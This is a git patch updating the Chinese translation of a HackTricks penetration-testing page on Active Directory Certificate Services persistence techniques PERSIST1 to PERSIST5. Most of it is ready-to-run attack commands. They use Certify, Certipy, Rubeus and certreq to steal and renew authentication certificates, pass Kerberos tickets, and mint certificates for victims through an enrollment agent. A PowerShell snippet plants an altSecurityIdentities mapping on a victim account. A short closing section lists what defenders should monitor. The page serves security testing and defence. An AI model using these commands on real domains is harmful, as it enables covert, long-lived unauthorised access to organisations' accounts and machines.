From ec20e27fd8ab37d819a91691abf869a39326cc76 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 19 Aug 2025 00:20:02 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/ad-certi --- .../ad-certificates/account-persistence.md | 132 ++++++++++++++---- 1 file changed, 104 insertions(+), 28 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index 9262ef65c..22e756fa0 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -2,55 +2,131 @@ {{#include ../../../banners/hacktricks-training.md}} -**这是对[https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)中精彩研究的机器持久性章节的小总结** +**这是对[https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)中精彩研究的账户持久性章节的小总结** -## **理解通过证书进行的活动用户凭证盗窃 – PERSIST1** +## 理解使用证书的活动用户凭证盗窃 – PERSIST1 -在用户可以请求允许域身份验证的证书的场景中,攻击者有机会**请求**并**窃取**此证书以**维持在网络上的持久性**。默认情况下,Active Directory中的`User`模板允许此类请求,尽管有时可能会被禁用。 +在一个用户可以请求允许域身份验证的证书的场景中,攻击者有机会请求并窃取该证书,以在网络上保持持久性。默认情况下,Active Directory中的`User`模板允许此类请求,尽管有时可能会被禁用。 -使用名为[**Certify**](https://github.com/GhostPack/Certify)的工具,可以搜索启用持久访问的有效证书: +使用[Certify](https://github.com/GhostPack/Certify)或[Certipy](https://github.com/ly4k/Certipy),您可以搜索允许客户端身份验证的启用模板,然后请求一个: ```bash +# Enumerate client-auth capable templates Certify.exe find /clientauth -``` -强调了证书的力量在于它能够**作为其所属用户进行身份验证**,无论任何密码更改,只要证书保持**有效**。 -可以通过图形界面使用 `certmgr.msc` 或通过命令行使用 `certreq.exe` 请求证书。使用**Certify**,请求证书的过程简化如下: -```bash -Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME +# Request a user cert from an Enterprise CA (current user context) +Certify.exe request /ca:CA-SERVER\CA-NAME /template:User + +# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default +certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx ``` -成功请求后,将生成一个证书及其私钥,格式为 `.pem`。要将其转换为可在 Windows 系统上使用的 `.pfx` 文件,使用以下命令: +证书的力量在于它能够作为其所属用户进行身份验证,无论密码如何更改,只要证书保持有效。 + +您可以将 PEM 转换为 PFX 并使用它来获取 TGT: ```bash +# Convert PEM returned by Certify to PFX openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx -``` -`.pfx` 文件可以上传到目标系统,并与一个名为 [**Rubeus**](https://github.com/GhostPack/Rubeus) 的工具一起使用,以请求用户的票据授权票证 (TGT),从而延长攻击者的访问权限,直到证书 **有效**(通常为一年): -```bash -Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass! -``` -一个重要的警告是,这种技术与**THEFT5**部分中概述的另一种方法结合使用时,允许攻击者在不与本地安全授权子系统服务(LSASS)交互的情况下,持久性地获取账户的**NTLM hash**,并且在非提升的上下文中提供了一种更隐蔽的长期凭证窃取方法。 -## **通过证书获得机器持久性 - PERSIST2** +# Use certificate for PKINIT and inject the TGT +Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt -另一种方法涉及为被攻陷系统的机器账户注册证书,利用默认的`Machine`模板允许此类操作。如果攻击者在系统上获得提升的权限,他们可以使用**SYSTEM**账户请求证书,从而提供一种**持久性**形式: +# Or with Certipy +certipy auth -pfx user.pfx -dc-ip 10.0.0.10 +``` +> 注意:结合其他技术(见盗窃部分),基于证书的身份验证允许在不接触 LSASS 的情况下,甚至在非提升上下文中实现持久访问。 + +## 使用证书获得机器持久性 - PERSIST2 + +如果攻击者在主机上拥有提升的权限,他们可以使用默认的 `Machine` 模板为被攻陷系统的机器账户注册证书。作为机器进行身份验证使得本地服务能够使用 S4U2Self,并可以提供持久的主机持久性: ```bash +# Request a machine certificate as SYSTEM Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine + +# Authenticate as the machine using the issued PFX +Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt ``` -此访问权限使攻击者能够以机器帐户身份对**Kerberos**进行身份验证,并利用**S4U2Self**为主机上的任何服务获取Kerberos服务票证,从而有效地授予攻击者对该机器的持久访问权限。 +## 通过证书续订扩展持久性 - PERSIST3 -## **通过证书续订扩展持久性 - PERSIST3** +滥用证书模板的有效性和续订周期使攻击者能够维持长期访问。如果您拥有先前颁发的证书及其私钥,您可以在到期之前续订它,以获得一个新的、长期有效的凭证,而不会留下与原始主体相关的额外请求痕迹。 +```bash +# Renewal with Certipy (works with RPC/DCOM/WebEnrollment) +# Provide the existing PFX and target the same CA/template when possible +certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ +-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx -最后讨论的方法涉及利用证书模板的**有效性**和**续订周期**。通过在证书到期之前**续订**证书,攻击者可以保持对Active Directory的身份验证,而无需额外的票证注册,这可能会在证书授权(CA)服务器上留下痕迹。 +# Native Windows renewal with certreq +# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair) +certreq -enroll -user -cert renew [reusekeys] +``` +> 操作提示:跟踪攻击者持有的 PFX 文件的生命周期并提前续订。续订还可以导致更新的证书包含现代 SID 映射扩展,使其在更严格的 DC 映射规则下保持可用(见下一节)。 -### 使用 Certify 2.0 进行证书续订 +## 植入显式证书映射 (altSecurityIdentities) – PERSIST4 -从**Certify 2.0**开始,续订工作流程通过新的`request-renew`命令完全自动化。给定一个先前签发的证书(以**base-64 PKCS#12**格式),攻击者可以在不与原始所有者互动的情况下续订它——非常适合隐秘的长期持久性: +如果您可以写入目标帐户的 `altSecurityIdentities` 属性,则可以将攻击者控制的证书显式映射到该帐户。这在密码更改后仍然有效,并且在使用强映射格式时,在现代 DC 执行下仍然保持功能。 + +高级流程: + +1. 获取或颁发您控制的客户端身份验证证书(例如,以您自己身份注册 `User` 模板)。 +2. 从证书中提取强标识符(Issuer+Serial、SKI 或 SHA1-PublicKey)。 +3. 使用该标识符在受害者主体的 `altSecurityIdentities` 上添加显式映射。 +4. 使用您的证书进行身份验证;DC 通过显式映射将其映射到受害者。 + +示例(PowerShell)使用强 Issuer+Serial 映射: ```powershell -Certify.exe request-renew --ca SERVER\\CA-NAME \ ---cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX +# Example values - reverse the issuer DN and serial as required by AD mapping format +$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' +$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial +$Map = "X509:$Issuer$SerialR" + +# Add mapping to victim. Requires rights to write altSecurityIdentities on the object +Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map} ``` -该命令将返回一个新的 PFX,有效期为另一个完整的生命周期,使您能够在第一个证书过期或被撤销后继续进行身份验证。 +然后使用您的 PFX 进行身份验证。 Certipy 将直接获取 TGT: +```bash +certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 +``` +笔记 +- 仅使用强映射类型:X509IssuerSerialNumber、X509SKI 或 X509SHA1PublicKey。弱格式(Subject/Issuer、仅主题、RFC822 电子邮件)已被弃用,并可能被 DC 策略阻止。 +- 证书链必须构建到 DC 信任的根证书。NTAuth 中的企业 CA 通常是受信任的;某些环境也信任公共 CA。 -## 参考 +有关弱显式映射和攻击路径的更多信息,请参见: -- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +{{#ref}} +domain-escalation.md +{{#endref}} + +## 作为持久性使用的注册代理 – PERSIST5 + +如果您获得有效的证书请求代理/注册代理证书,您可以随意代表用户铸造新的可登录证书,并将代理 PFX 离线作为持久性令牌。滥用工作流程: +```bash +# Request an Enrollment Agent cert (requires template rights) +Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent" + +# Mint a user cert on behalf of another principal using the agent PFX +Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \ +/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass + +# Or with Certipy +certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ +-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx +``` +撤销代理证书或模板权限是驱逐此持久性的必要条件。 + +## 2025 强证书映射强制执行:对持久性的影响 + +Microsoft KB5014754 在域控制器上引入了强证书映射强制执行。从2025年2月11日起,DC 默认采用完全强制执行,拒绝弱/模糊映射。实际影响: + +- 缺乏 SID 映射扩展的 2022 年之前的证书在 DC 处于完全强制执行时可能会失败隐式映射。攻击者可以通过 AD CS 续订证书(以获取 SID 扩展)或在 `altSecurityIdentities` 中植入强显式映射(PERSIST4)来维持访问。 +- 使用强格式(Issuer+Serial、SKI、SHA1-PublicKey)的显式映射继续有效。弱格式(Issuer/Subject、Subject-only、RFC822)可能会被阻止,应避免用于持久性。 + +管理员应监控并警报: +- 对 `altSecurityIdentities` 的更改以及 Enrollment Agent 和用户证书的签发/续订。 +- CA 签发日志中的代表请求和异常续订模式。 + +## 参考文献 + +- Microsoft. KB5014754:Windows 域控制器上的基于证书的身份验证更改(强制执行时间表和强映射)。 +https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 +- Certipy Wiki – 命令参考(`req -renew`、`auth`、`shadow`)。 +https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference {{#include ../../../banners/hacktricks-training.md}}